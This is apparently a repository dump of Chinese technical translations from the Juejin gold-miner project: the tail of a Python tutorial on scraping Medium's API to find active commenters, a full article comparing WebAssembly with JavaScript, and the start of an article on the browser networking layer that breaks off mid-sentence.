键值对。\n\n```json\n...\n\"paging\":{\"path\":\"/_/api/users/d540942266d0/followers\",\"next\":{\"limit\":8,\"to\":\"49260b62a26c\"}}},\"v\":3,\"b\":\"31039-15ed0e5\"}\n```\n\n到了这一步，很容易就能写出一个循环从我的关注列表里面获取所有的用户名。\n\n```python \ndef get_list_of_followings(user_id):\n\n    print('Retrieving users from Followings...')\n    \n    next_id = False\n    followings = []\n    while True:\n\n        if next_id:\n            # 如果这不是关注列表的第一页\n            url = MEDIUM + '/_/api/users/' + user_id\n                  + '/following?limit=8&to=' + next_id\n        else:\n            # 如果这是关注列表的第一页\n            url = MEDIUM + '/_/api/users/' + user_id + '/following'\n\n        response = requests.get(url)\n        response_dict = clean_json_response(response)\n        payload = response_dict['payload']\n\n        for user in payload['value']:\n            followings.append(user['username'])\n\n        try:\n            # 如果找不到 \"to\" 键，我们就到达了列表末尾，\n            # 并且异常将会抛出。\n            next_id = payload['paging']['next']['to']\n        except:\n            break\n\n    return followings\n```\n\n### 获取每个用户最新的帖子\n\n我得到了我关注的用户列表之后，我就想获取他们最新的帖子。我可以通过发送这个请求 `[https://medium.com/@<username>/latest?format=json](https://medium.com/@username/latest?format=json)` 来实现这个功能。\n\n于是我写了一个函数，这个函数的参数是用户名列表，然后返回一个包含输入进来的所有用户最新发表的帖子 ID 的 Python 列表。\n\n```python\ndef get_list_of_latest_posts_ids(usernames):\n\n    print('Retrieving the latest posts...')\n\n    post_ids = []\n    for username in usernames:\n        url = MEDIUM + '/@' + username + '/latest?format=json'\n        response = requests.get(url)\n        response_dict = clean_json_response(response)\n\n        try:\n            posts = response_dict['payload']['references']['Post']\n        except:\n            posts = []\n\n        if posts:\n            for key in posts.keys():\n                post_ids.append(posts[key]['id'])\n\n    return post_ids\n```\n\n### 获取每个帖子的所有评论\n\n有了帖子的列表，我通过 `https://medium.com/_/api/posts/<post_id>/responses` 提取了所有的评论。\n\n这个函数参数是帖子 ID Python 列表然后返回评论的Python列表。\n\n```python\ndef get_post_responses(posts):\n\n    print('Retrieving the post responses...')\n\n    responses = []\n\n    for post in posts:\n        url = MEDIUM + '/_/api/posts/' + post + '/responses'\n        response = requests.get(url)\n        response_dict = clean_json_response(response)\n        responses += response_dict['payload']['value']\n\n    return responses\n```\n\n#### 筛选这些评论\n\n一开始，我希望评论达到点赞的最小值。但是我意识到这可能并不能很好的表达出社区对于评论的赞赏程度，因为一个用户可以对同一条评论进行多次点赞。\n\n相反，我使用推荐数来进行筛选。推荐数和点赞数差不多，但它不能多次推荐。\n\n我希望这个最小值是可以动态调整的。所以我传递了名为 `recommend_min` 的变量。\n\n下面的函数的参数是每一条评论和 `recommend_min` 变量。它用来检查评论的推荐数是否到达最小值。\n\n```python\ndef check_if_high_recommends(response, recommend_min):\n    if response['virtuals']['recommends'] >= recommend_min:\n        return True\n```\n\n我还希望得到最近的评论。因此我通过这个函数过滤掉超过 30 天的评论。\n\n```python\nfrom datetime import datetime, timedelta\n\ndef check_if_recent(response):\n    limit_date = datetime.now() - timedelta(days=30)\n    creation_epoch_time = response['createdAt'] / 1000\n    creation_date = datetime.fromtimestamp(creation_epoch_time)\n\n    if creation_date >= limit_date:\n        return True\n```\n\n### 获取评论作者的用户名\n\n在完成评论的筛选工作之后，我使用下面的函数来抓取所有作者的用户 ID。\n\n```python\ndef get_user_ids_from_responses(responses, recommend_min):\n\n    print('Retrieving user IDs from the responses...')\n\n    user_ids = []\n\n    for response in responses:\n        recent = check_if_recent(response)\n        high = check_if_high_recommends(response, recommend_min)\n\n        if recent and high:\n            user_ids.append(response['creatorId'])\n\n    return user_ids\n```\n\n当你试图访问某个用户的个人资料时，你会发现用户 ID 是没用的。这时我写了一个函数通过查询 `/_/api/users/<user_id>` 端点来获取用户名。 \n\n```python\ndef get_usernames(user_ids):\n\n    print('Retrieving usernames of interesting users...')\n\n    usernames = []\n\n    for user_id in user_ids:\n        url = MEDIUM + '/_/api/users/' + user_id\n        response = requests.get(url)\n        response_dict = clean_json_response(response)\n        payload = response_dict['payload']\n\n        usernames.append(payload['value']['username'])\n\n    return usernames\n```\n\n### 把所以函数组合起来\n\n在完成所有函数之后，我创建了一个[管道](https://en.wikipedia.org/wiki/Pipeline_%28software%29)来获取我的推荐用户列表。\n\n```python\ndef get_interesting_users(username, recommend_min):\n\n    print('Looking for interesting users for %s...' % username)\n\n    user_id = get_user_id(username)\n\n    usernames = get_list_of_followings(user_id)\n\n    posts = get_list_of_latest_posts_ids(usernames)\n\n    responses = get_post_responses(posts)\n\n    users = get_user_ids_from_responses(responses, recommend_min)\n\n    return get_usernames(users)\n```\n\n这个脚本程序终于完成啦！为了测试这个程序，你必须调用这个管道。\n\n```python\ninteresting_users = get_interesting_users('Radu_Raicea', 10)\nprint(interesting_users)\n```\n\n![](https://cdn-images-1.medium.com/max/1600/1*e19LB9EslgNyp73O6YFV-Q.png)\n\n图片来源： [Know Your Meme](http://knowyourmeme.com/photos/185885-success-kid-i-hate-sandcastles)\n\n最后，我添加了一个选项，可以把结果和时间戳存储在一个 CSV 文件里面。\n\n```python\nimport csv\n\ndef list_to_csv(interesting_users_list):\n    with open('recommended_users.csv', 'a') as file:\n        writer = csv.writer(file)\n\n        now = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n        interesting_users_list.insert(0, now)\n        \n        writer.writerow(interesting_users_list)\n        \ninteresting_users = get_interesting_users('Radu_Raicea', 10)\nlist_to_csv(interesting_users)\n\n```\n\n关于这个项目的源文件可以在[这里找到](https://github.com/Radu-Raicea/Interesting-People-On-Medium)。\n\n如果你还不会 Python，阅读 [TK](https://medium.com/@leandrotk_) 的 Python 教程：[Learning Python: From Zero to Hero](https://medium.freecodecamp.org/learning-python-from-zero-to-hero-120ea540b567)。\n\n如果你对其他让用户感兴趣的标准有建议，请**在下面留言！**\n\n### 总结···\n\n*   我编写一个适用于 Medium 的 [**Python 脚本**](https://github.com/Radu-Raicea/Interesting-People-On-Medium)。\n*   这个脚本返回一个用户列表，里面的用户都是**活跃的**且在你的关注的用户的最新帖子下面发表过**有趣的评论**。\n*   你可以从列表里取出用户，用他的用户名而不是你的来运行这个脚本。\n\n**点击我的关于开源许可的**[**初级教程**](https://medium.freecodecamp.org/how-open-source-licenses-work-and-how-to-add-them-to-your-projects-34310c3cf94)**以及如何把它们添加到你的项目中！**\n\n更多更新，请关注我的 [Twitter](https://twitter.com/radu_raicea)。\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n---\n\n> 掘金翻译计划 是一个翻译优质互联网技术文章的社区，文章来源为 掘金 上的英文分享文章。内容覆盖 Android、iOS、前端、后端、区块链、产品、设计、人工智能等领域，想要查看更多优质译文请持续关注 掘金翻译计划、官方微博、知乎专栏。\n"
  },
  {
    "path": "TODO1/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it.md",
    "content": "> * 原文地址：[How JavaScript works: A comparison with WebAssembly + why in certain cases it’s better to use it over JavaScript](https://blog.sessionstack.com/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it-d80945172d79)\n> * 原文作者：[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it.md)\n> * 译者：[stormluke](https://github.com/stormluke)\n> * 校对者：[Colafornia](https://github.com/Colafornia)\n\n# JavaScript 是如何工作的：对比 WebAssembly + 为什么在某些场景下它比 JavaScript 更合适\n\n这是专门探索 JavaScript 及其构建组件系列的第 6 期。在识别和描述核心元素的过程中，我们还分享了构建 SessionStack 时使用的一些经验法则 —— 这是一个轻量级的 JavaScript 应用程序，但必须强大且性能卓越，才能帮助用户实时查看和重现其 Web 应用的缺陷。\n\n1. [[译] JavaScript 是如何工作的：对引擎、运行时、调用堆栈的概述](https://juejin.im/post/5a05b4576fb9a04519690d42)\n2. [[译] JavaScript 是如何工作的：在 V8 引擎里 5 个优化代码的技巧](https://juejin.im/post/5a102e656fb9a044fd1158c6)\n3. [[译] JavaScript 是如何工作的：内存管理 + 处理常见的4种内存泄漏](https://juejin.im/post/5a2559ae6fb9a044fe4634ba)\n4. [[译] JavaScript 是如何工作的: 事件循环和异步编程的崛起 + 5个如何更好的使用 async/await 编码的技巧](https://juejin.im/post/5a221d35f265da43356291cc)\n5. [[译] JavaScript 是如何工作的：深入剖析 WebSockets 和拥有 SSE 技术 的 HTTP/2，以及如何在二者中做出正确的选择](https://juejin.im/post/5a522647518825732d7f6cbb)\n\n这次我们将剖析 WebAssembly 的工作原理，更重要的是在性能方面分析它与 JavaScript 的差异：加载时间、执行速度、垃圾回收、内存使用情况、平台 API 调用、调试、多线程和可移植性。\n\n我们构建 Web 应用程序的方式正处于革命的边缘 —— 仍然是初级阶段，但我们对 Web 应用程序的看法正在发生变化。\n\n#### 首先，让我们看看 WebAssembly 的功能\n\nWebAssembly（也叫作 **wasm**）是一种高效且底层的给 web 使用的字节码。\n\nWASM 让你能够用 JavaScript 之外的语言（例如 C、C++、Rust 或其他）编写程序，然后将其（提前）编译到 WebAssembly。\n\n其结果是 Web 应用程序加载和执行速度都非常快。\n\n#### 加载时间\n\n为了加载 JavaScript，浏览器必须加载所有文本形式的 `.js` 文件。\n\nWebAssembly 在浏览器中加载速度更快，因为只需通过互联网传输已编译的 wasm 文件。而 wasm 是一种非常简洁的二进制格式的底层类汇编语言。\n\n#### 执行\n\n今天 Wasm 的运行速度只**比本地代码（native code）执行**慢 20%。无论如何，这是一个惊人的结果。这是一种编译到沙盒环境中的格式，并且在很多约束条件下运行，以确保它没有或者很难有安全漏洞。与真正的本地代码相比，速度损失很小。更重要的是，它将**在未来更快**。\n\n更好的是，它与浏览器无关 —— 目前所有主要引擎都增加了对 WebAssembly 的支持，并且执行时间相近。\n\n为了理解 WebAssembly 与 JavaScript 相比执行得有多快，你应该首先阅读[我们关于 JavaScript 引擎的文章](https://juejin.im/post/5a102e656fb9a044fd1158c6)。\n\n我们来看看大概看看 V8 中会发生什么：\n\n![](https://cdn-images-1.medium.com/max/800/0*bN9YVBLw_tT1Xvte.)\n\nV8 的方法：延迟编译\n\n在左边，我们有一些 JavaScript 源代码，包含 JavaScript 函数。首先需要解析它，以便将所有字符串转换为词法标记（token）并生成[抽象语法树](https://en.wikipedia.org/wiki/Abstract_syntax_tree)（AST）。AST 是 JavaScript 程序逻辑的内存表示。一旦生成了这种表示，V8 会直接跳到机器码。过程基本上是遍历语法树，生成机器代码，最后得到编译好的函数。没有真正的尝试来加速它。\n\n现在，我们来看看 V8 流水线在下一阶段的功能：\n\n![](https://cdn-images-1.medium.com/max/800/0*wzuQ9LYv7CAUICOC.)\n\nV8 流水线设计。\n\n这次我们有了 [TurboFan](https://github.com/v8/v8/wiki/TurboFan) —— V8 的优化编译器之一。随着你的 JavaScript 应用的运行，大量代码运行在 V8 中。TurboFan 可以监控某些代码是否运行缓慢，是否存在瓶颈和热点来优化它们。它把这些代码推到编译器后端 —— 一个优化的 [JIT](https://en.wikipedia.org/wiki/Just-in-time_compilation)，这个后端可为那些消耗大部分 CPU 的函数创建更快的代码。\n\n它解决了上面的问题，但这里的问题在于，分析并决定优化哪些代码的过程也会消耗 CPU。这反过来又意味着更高的电池消耗，特别是在移动设备上。\n\n好了，wasm 并不需要所有的这些 —— 它会被插入工作流中，如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/0*GDU4GguTzk8cSAYk.)\n\nV8 流水线设计 + WASM。\n\nWasm 在编译阶段就已经优化好。最重要的是，也不再需要解析过程。你有了一个已优化的二进制文件，它可以直接挂接到生成机器码的编译器后端。所有优化都在编译器前端完成。\n\n这让执行 wasm 更有效率，因为流程中的很多步骤都可以简单地跳过。\n\n#### 内存模型\n\n![](https://cdn-images-1.medium.com/max/800/0*QphcOVaiVC2YL7Jd.)\n\nWebAssembly 可信和不可信状态。\n\n举个例子，C++ 程序中的内存是一个连续的区块，其中并没有「空隙」。有助于提高安全性的 wasm 的特性之一是，执行栈与线性内存分离的概念。在 C++ 程序中，你有一个堆，你从底部分配堆内存，并从堆顶部获取栈空间。这就有可能造出一个指向栈空间的指针来玩弄那些本不应该接触到的变量。\n\n这是很多恶意软件所利用的缺陷。\n\nWebAssembly 采用完全不同的模型。执行栈与 WebAssembly 程序本身是分开的，因此你无法修改栈变量等内容。而且，函数中使用整数偏移而不是指针。函数指向一个间接函数表。然后通过这些计算出的直接数字跳转到模块内部的函数中。这种设计方式使得你可以加载多个 wasm 模块，并排排列，平移所有的索引，互不影响。\n\n有关 JavaScript 中内存模型和管理的更多信息，可以查看我们非常详细的[关于此主题的文章](https://juejin.im/post/5a2559ae6fb9a044fe4634ba)。\n\n#### 垃圾回收\n\n你已经知道 JavaScript 的内存管理是使用垃圾收集器处理的。\n\nWebAssembly 的情况有点不同。它支持手动管理内存的语言。你的 wasm 模块可以自带 GC，但这是一项复杂的任务。\n\n目前，WebAssembly 是围绕 C++ 和 RUST 用例设计的。由于 wasm 是非常底层的，因此只有汇编语言上一层的编程语言才易于编译。C 可以使用普通的 malloc，C++ 可以使用智能指针，Rust 使用完全不同的形式（完全不同的主题）。这些语言不使用 GC，因此它们不需要那些复杂的运行时事务来跟踪内存。WebAssembly 对他们来说是天作之合。\n\n另外，这些语言并不是 100％ 被设计用于调用复杂的 JavaScript 事物，如操作 DOM。完全在 C++ 中编写 HTML 应用是没有意义的，因为 C++ 不是为它设计的。在大多数情况下，当工程师编写 C++ 或 Rust 时，他们的目标是 WebGL 或高度优化的库（例如繁重的数学计算）。\n\n但是，将来 WebAssembly 也将支持不附带 GC（但需要垃圾回收）的语言。\n\n#### 平台 API 调用\n\n取决于执行 JavaScript 的运行时，不同特定于平台的 API 可以通过 JavaScript 应用程序直接访问。例如，如果在浏览器中运行 JavaScript，你可以通过一系列 [Web APIs](https://developer.mozilla.org/en-US/docs/Web/API) 来控制 web 浏览器 / 设备的功能，并且可以使用例如 [DOM](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)、[CSSOM](https://developer.mozilla.org/en-US/docs/Web/API/CSS_Object_Model)、[WebGL](https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API)、[IndexedDB](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API)、[Web Audio API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API) 等等\n\n好吧，WebAssembly 模块无法直接调用任何平台 API。一切都是由 JavaScript 代理的。如果你想在 WebAssembly 模块中调用的某些平台特定的 API，则必须通过 JavaScript 调用它。\n\n例如，如果你想用 `console.log`，必须通过 JavaScript 调用它，而不是你的 C++ 代码。这些 JavaScript 调用的成本会比较高。\n\n也并不总是如此。规范将在未来为平台 API 提供 wasm 接口，并且你将能够在没有 JavaScript 的情况下发布应用程序。\n\n#### 源码映射\n\n当你压缩 JavaScript 代码时，需要一种正确调试它的方法。这就是[源码映射](https://www.html5rocks.com/en/tutorials/developertools/sourcemaps/)大显身手地方。\n\n基本上，源码映射是一种将整合/压缩文件映射回构建前状态的方法。当你构建线上版时，压缩和组合 JavaScript 文件时将生成一个包含原始文件信息的源码映射。当你在生成的 JavaScript 中查询某一行号和列号时，可以在源码映射中查找代码的原始位置。\n\nWebAssembly 目前不支持源码映射，因为暂时没有规范，但最终会有的（可能很快）。\n\n当在 C++ 代码中设置断点时，你将看到 C++ 代码而不是 WebAssembly。至少这是目标。\n\n#### 多线程\n\nJavaScript 在单线程上运行。有很多方法可以发挥事件循环和异步编程优势，详见[我们关于该主题的文章](https://juejin.im/post/5a221d35f265da43356291cc)。\n\nJavaScript 也使用 Web Workers，但他们有一个非常具体的用例 —— 基本上，阻止主 UI 线程的任何重 CPU 计算都可以从 Web Worker 中受益。但是 Web Workers 无法访问 DOM。\n\nWebAssembly 目前不支持多线程。但是未来可能会。Wasm 将会和本地线程更近（例如 C++ 型线程）。拥有「真实」的线程将在浏览器中创造出许多新的机会。当然，这也将打开更多滥用可能性的大门。\n\n#### 可移植性\n\n如今，JavaScript 几乎可以在任何地方运行，从浏览器到服务器端甚至嵌入式系统。\n\nWebAssembly 设计目标是安全且可移植。就像 JavaScript 一样。它将运行在支持 wasm 的每个环境中（例如每个浏览器）。\n\nWebAssembly 具有与 Java Applets 初期尝试实现的移植性相同的可移植性目标。\n\n#### 在哪里使用 WebAssembly 比 JavaScript 更好？\n\n在 WebAssembly 的第一个版本中，主要关注 CPU 占用大的计算（例如处理数学）。想到的最主流的用途是游戏 —— 那里有大量的像素操作。你可以使用你习惯的 OpenGL 绑定在 C++ / Rust 中编写应用，并将其编译为 wasm。它会在浏览器中运行。\n\n看看这个（在 Firefox 中运行）—— [http://s3.amazonaws.com/mozilla-games/tmp/2017-02-21-SunTemple/SunTemple.html](http://s3.amazonaws.com/mozilla-games/tmp/2017-02-21-SunTemple/SunTemple.html)。它使用[虚幻引擎](https://www.unrealengine.com/en-US/what-is-unreal-engine-4)。\n\n另一种使用 WebAssembly 可能有意义（性能方面）的场景是实现一些这是一个 CPU 密集型的库。例如，一些图像处理库。\n\n如前所述，由于大多数处理步骤都是在编译期间提前完成的，因此 wasm 可以减少移动设备上的电池消耗（取决于引擎）。\n\n将来，即使你实际上没有编写代码，你也可以使用 WASM 二进制文件。可以在 NPM 中找到开始使用此方法的项目。\n\n对于 DOM 操作和大量的平台 API 操作，当然用 JavaScript 更好，因为它不会增加额外的开销，并且具有原生的 API。\n\n在 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-6-webassembly-outro)，为了编写高度优化且高效的代码，我们不断突破 JavaScript 性能的机极限。我们的解决方案需要提供超快的性能，因为我们不能阻碍客户应用本身。将 SessionStack 集成到线上 Web 应用或网站后，它会开始记录所有内容：所有 DOM 更改、用户交互、JavaScript 异常、堆栈跟踪、失败的网络请求和调试数据。所有这些都在你的线上环境中进行，但不会影响产品的任何体验和性能。我们需要大量优化我们的代码并尽可能使其异步。\n\n而且不只是库！当你在 SessionStack 中重放用户会话时，我们必须渲染在发生问题时用户浏览器中发生的所有事件，并且必须重构整个状态，允许你在会话时间线中来回跳转。为了做到这一点，我们正在大量使用 JavaScript 提供的异步能力，因为缺少更好的选择。\n\n借助 WebAssembly，我们能够将一些最繁重的处理和渲染交给更适合做这个工作的语言，同时将数据收集和 DOM 操作留给 JavaScript。\n\n如果你想试试 SessionStack，[可以从这里免费开始](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-6-webassembly-trynow)。免费版可以提供 1000 会话 / 月。\n\n![](https://cdn-images-1.medium.com/max/800/1*GmlfCMCeX2VKR3HCHuGIwA.png)\n\n资源：\n\n* https://www.youtube.com/watch?v=6v4E6oksar0\n* https://www.youtube.com/watch?v=6Y3W94_8scw\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-javascript-works-inside-the-networking-layer-how-to-optimize-its-performance-and-security.md",
    "content": "> * 原文地址：[How JavaScript Works: Inside the Networking Layer + How to Optimize Its Performance and Security](https://blog.sessionstack.com/how-javascript-works-inside-the-networking-layer-how-to-optimize-its-performance-and-security-f71b7414d34c)\n> * 原文作者：[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-inside-the-networking-layer-how-to-optimize-its-performance-and-security.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-inside-the-networking-layer-how-to-optimize-its-performance-and-security.md)\n> * 译者：[Hopsken](https://github.com/hopsken)\n> * 校对者：[sophiayang1997](https://github.com/sophiayang1997) [luochen1992](https://github.com/luochen1992)\n\n# JavaScript 是如何工作的：深入网络层 + 如何优化性能和安全\n\n这是探索 JavaScript 及其内建组件系列文章的第 12 篇。在认识和描述这些核心元素的过程中，我们也会分享我们在构建 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=js-series-networking-layer-intro) 时所遵循的一些经验规则。SessionStack 是一个轻量级 JavaScript 应用，它协助用户实时查看和复现他们的 Web 应用缺陷，因此其自身不仅需要足够健壮还要有不俗的性能表现。\n\n如果你错过了前面的文章，你可以在下面找到它们：\n\n1. [[译] JavaScript 是如何工作的：对引擎、运行时、调用堆栈的概述](https://juejin.im/post/5a05b4576fb9a04519690d42)\n2. [[译] JavaScript 是如何工作的：在 V8 引擎里 5 个优化代码的技巧](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code.md)\n3. [[译] JavaScript 是如何工作的：内存管理 + 处理常见的4种内存泄漏](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks.md)\n4. [[译] JavaScript 是如何工作的: 事件循环和异步编程的崛起 + 5个如何更好的使用 async/await 编码的技巧](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with.md)\n5. [[译] JavaScript 是如何工作的：深入剖析 WebSockets 和拥有 SSE 技术 的 HTTP/2，以及如何在二者中做出正确的选择](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path.md)\n6. [[译] JavaScript 是如何工作的：与 WebAssembly 一较高下 + 为何 WebAssembly 在某些情况下比 JavaScript 更为适用](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it.md)\n7. [[译] JavaScript 是如何工作的：Web Worker 的内部构造以及 5 种你应当使用它的场景](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them.md)\n8. [[译] JavaScript 是如何工作的：Web Worker 生命周期及用例](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-service-workers-their-life-cycle-and-use-cases.md)\n9. [[译] JavaScript 是如何工作的：Web 推送通知的机制](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-the-mechanics-of-web-push-notifications.md)\n10. [[译] JavaScript 是如何工作的：用 MutationObserver 追踪 DOM 的变化](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-tracking-changes-in-the-dom-using-mutationobserver.md)\n11. [[译] JavaScript 是如何工作的：渲染引擎和性能优化技巧](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-the-rendering-engine-and-tips-to-optimize-its-performance.md)\n\n正如我们在前一篇关于[渲染引擎](https://blog.sessionstack.com/how-javascript-works-the-rendering-engine-and-tips-to-optimize-its-performance-7b95553baeda)的文章中所说的，我们相信，优秀的 JavaScript 开发者和杰出的 JavaScript 开发者之间的区别在于后者不仅懂得如何使用这门语言，还能够理解它的内在以及周遭环境。\n\n#### 一点点历史\n\n49 年前，一个叫做 ARPAnet 的东西被创造了出来。它是[一个早期的数据包交换网络](https://en.wikipedia.org/wiki/Packet_switching)，也是第一个[实践 TCP/IP 套件](https://en.wikipedia.org/wiki/Internet_protocol_suite)的网络。该网络在加州大学和斯坦福研究中心之间搭建了一个连接。20年后，Tim Berners-Lee 发布了一个名为『Mesh』的提案，也就是后来人们所说的万维网。在这 49 年里，互联网走过了漫长的道路，从两台计算机交换数据包开始，到如今拥有超过 7500 万台服务器，38 亿名用户和 13 亿个网站。\n\n![](https://cdn-images-1.medium.com/max/800/1*x8P3OcgcgKrEEDpgT2IKkQ.jpeg)\n\n在这边文章中，我们将尝试分析现代浏览器使用了哪些技术来自动地提高性能（有些你甚至并不知道）。我们将尤其关注浏览器的网络层。在最后，我们将会提供一些建议，关于如何使得浏览器能够更好地提升你的 Web 应用的性能。\n\n### 概览\n\n为了能够快速、高效并且安全地展示 Web 应用/网站，现代的浏览器都是经过特别设计的。数百个组件运行在不同的层上，从进程管理和安全沙盒到 GPU 流水线，音频和视频等等，Web浏览器看起来更像是一个操作系统，而不仅仅是一个软件应用程序。\n\n浏览器的整体性能取决于许多大型组件：解析、布局、样式计算、JavaScript 和 WebAssembly 执行、渲染，当然还有**网络栈**。\n\n工程师经常认为网络栈是一个瓶颈。通常来说，确实如此，因为在执行接下来的步骤之前，先得从互联网上获取到所有的资源。为了提高网络层的效率，它不仅需要扮演简单的套接字管理员的角色。它呈现给我们的只是一种非常简单的资源获取机制，但它实际上是一个拥有自己的优化标准，API 和服务的完整平台。\n\n![](https://cdn-images-1.medium.com/max/800/1*WqInzMPQGGcMX9AOONN76g.jpeg)\n\n作为 Web 开发人员，我们不必操心个别的 TCP 或 UDP 数据包、请求格式化、缓存和此过程中的其他所有事情。所以复杂的事务都由浏览器处理，因此我们可以专注于我们正在开发的应用程序。但是，了解底层究竟发生了什么，可以帮助我们创建更快、更安全的应用程序。\n\n实质上，当用户开始与浏览器交互时发生了以下事务：\n\n*   用户在浏览器地址栏中输入一个 URL\n*   给定一个 Web 资源的 URL，浏览器首先检查本地和应用程序缓存，并尝试使用本地副本来完成请求。\n*   如果缓存无法使用，浏览器将从URL中获取域名，并通过 [DNS](https://en.wikipedia.org/wiki/Domain_Name_System) 请求服务器的 IP 地址。如果该域被缓存，则不需要 DNS 查询。\n*   浏览器创建一个 HTTP 数据包，说明它请求位于远程服务器上的某个网页。\n*   数据包被发送到 TCP 层，在 HTTP 数据包的顶部添加它自己的信息。此信息将被用于维护已经开始的会话。\n*   然后将数据包交给 IP 层，它的主要工作是找出将数据包从用户发送到远程服务器的途径。这些信息也会存储在数据包的顶部。\n*   数据包被发送到远程服务器。\n*   远程服务器一旦接收到数据包，就会以类似的方式发回响应。\n\nW3C 的[导航时序规范](http://www.w3.org/TR/navigation-timing/)提供了浏览器 API，它能够提供浏览器中每个请求的生命周期背后的时间和性能数据。让我们来看看这些组件，因为它们在提供最佳用户体验方面起着至关重要的作用：\n\n![](https://cdn-images-1.medium.com/max/800/1*rjBdCBwOx5Gp_A6b6FQgfw.png)\n\n这个网络通信的过程是非常复杂的，有很多不同的层可能成为瓶颈。这就是为什么浏览器努力通过使用各种技术来提高性能的原因，以便整个网络通信的影响最小。\n\n### 套接字管理\n\n让我们先从一些术语开始：\n\n*   **源（Origin）** —— 由应用协议、域名、端口三者构成（例如，https，[www.example.com](http://www.example.com)，443）\n*   **套接字池（Socket pool）** —— 一组属于同一源的套接字（所有主流浏览器都将池的大小限制为最多 6 个套接字）\n\nJavaScript 和 WebAssembly **不允许**我们管理网络套接字的生命周期，这是一件好事！这不仅可以使我们免去很多麻烦，而且还可以让浏览器自动去进行大量的性能优化，其中一些包括套接字重用，请求优先级和后期绑定，协议协商，强制连接限制等等。\n\n实际上，现代浏览器更进了一步，把请求管理周期与套接字管理分立了开来。套接字按池组织，按源分组，每个池强制实施自己的连接限制和安全约束。待处理的请求会先排队，再按优先级处理，然后绑定到池中的单个套接字上。除非服务器有意关闭连接，否则可以在多个请求中自动重用相同的套接字！\n\n![](https://cdn-images-1.medium.com/max/800/1*0e8X3UTBpsiBSZKa3l1hXA.png)\n\n由于开辟新的 TCP 连接需要额外的成本，因此连接的重用具有很大的性能优势。默认情况下，浏览器使用所谓的「keepalive」机制，这可以节省出在已有请求发生后再打开新连接到服务器的时间。打开一个新的 TCP 连接的平均时间是：\n\n*   本地请求 —— `23ms`\n*   横贯大陆的请求 —— `120ms`\n*   洲际请求 —— `225ms`\n\n这种架构为其他一些优化提供了可能。这些请求可以根据其优先级以不同的顺序执行。浏览器可以优化所有套接字的带宽分配，或者在预期请求时先打开套接字。\n\n正如我之前提到的，这一切都是由浏览器自行管理的，并不需要我们做任何工作。但这并不一定意味着我们什么都做不了。选择合适的网络通信模式，传输类型和频率，恰当地选择协议以及调整/优化服务器架构可以在提高应用程序的整体性能方面发挥重要作用。\n\n有些浏览器甚至更进一步。例如，Chrome 